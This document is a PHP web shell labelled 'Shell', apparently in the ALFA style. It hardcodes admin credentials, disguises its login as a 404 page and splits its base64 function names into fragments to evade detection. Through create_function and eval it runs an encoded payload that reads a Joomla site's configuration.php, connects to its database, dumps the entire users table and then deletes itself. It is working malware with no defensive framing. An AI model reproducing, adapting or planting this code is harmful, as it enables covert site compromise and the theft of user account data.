Shell

<?php
$teno = "sagag";
$GLOBALS['__ALFA__'] = array(
    'user' => 'admin',//username
    'pass' => '60909d82a71a39c83c0b74db230b3dc8',//md5(alfa)
    'safemode' => '1',//1 or 0
    'login_page' => '404',//gui or 500 or 403 or 404
    'show_icons' => '1',//1 or 0
);



if(!function_exists('b'.'as'.'e6'.'4_'.'en'.'co'.'de'))
{
    function __ZW5jb2Rlcg($data)
    {
        if(empty($data))
            return;
        $b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
        $ac = 0;$enc = '';
        $tmp_arr = array();
        if(!$data)
        {
            return $data;
        }
        do
        {
            $o1 = charCodeAt($data, $i++);
            $o2 = charCodeAt($data, $i++);
            $o3 = charCodeAt($data, $i++);
            $bits = $o1 << 16 | $o2 << 8 | $o3;$h1 = $bits >> 18 & 0x3f;
            $h2 = $bits >> 12 & 0x3f;
            $h3 = $bits >> 6 & 0x3f;
            $h4 = $bits & 0x3f;
            $tmp_arr[$ac++] = charAt($b64, $h1).charAt($b64, $h2).charAt($b64, $h3).charAt($b64, $h4);
        }
        while ($i < strlen($data));
        $enc = implode($tmp_arr, '');
        $r = (strlen($data) % 3);
        return ($r ? substr($enc, 0, ($r - 3)) : $enc).substr('===', ($r || 3));
    }
        function charCodeAt($data, $char){
            return ord(substr($data, $char, 1));
        }
        function charAt($data, $char)
        {
            return substr($data, $char, 1);
        }
}
else
{
    function __ZW5jb2Rlcg($s)
    {
        $b='b'.'as'.'e6'.'4_'.'en'.'co'.'de';
        return $b($s);
    }
}
if(!function_exists('b'.'a'.'se'.'6'.'4_'.'d'.'ec'.'ode'))
{
    function __ZGVjb2Rlcg($input)
    {
        if(empty($input))return;
        $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        $chr1 = $chr2 = $chr3 = "";$enc1 = $enc2 = $enc3 = $enc4 = "";
        $i = 0;$output = "";
        $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
        do{
            $enc1 = strpos($keyStr, substr($input, $i++, 1));
            $enc2 = strpos($keyStr, substr($input, $i++, 1));
            $enc3 = strpos($keyStr, substr($input, $i++, 1));
            $enc4 = strpos($keyStr, substr($input, $i++, 1));
            $chr1 = ($enc1 << 2) | ($enc2 >> 4);$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);$chr3 = (($enc3 & 3) << 6) | $enc4;
            $output = $output . chr((int) $chr1);
            if ($enc3 != 64)
            {
                $output = $output . chr((int) $chr2);
            }
            if ($enc4 != 64)
            {
                $output = $output . chr((int) $chr3);
            }
            $chr1 = $chr2 = $chr3 = "";$enc1 = $enc2 = $enc3 = $enc4 = "";
        }
        while($i < strlen($input));
        return $output;
    }
}
else{
    function __ZGVjb2Rlcg($s){
        $b='b'.'as'.'e6'.'4_'.'de'.'co'.'de';
        return $b($s);
    }
}
    $cr='create_function';
    $code = $cr('$x','eval(__ZGVjb2Rlcg($x));');


    $cd = base64_encode("
    function test()
    {
        return scandir(__DIR__);

    }

    \$string= test();
    if(in_array('configuration.php',\$string))
    {
        require_once('configuration.php');
        \$config = new JConfig;

        \$pdo = new PDO('mysql:host=localhost;dbname='.\$config->db.';charset=utf8', \$config->user, \$config->password);
        \$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

        \$pdo->exec('set names utf8');

        \$stmt = \$pdo->query('SELECT * FROM `' . \$config->dbprefix . 'users`');

        \$results = \$stmt->fetchAll();

        print_r(\$results);
        unlink(__FILE__);
    }
    ");
    $code($cd);
  ?>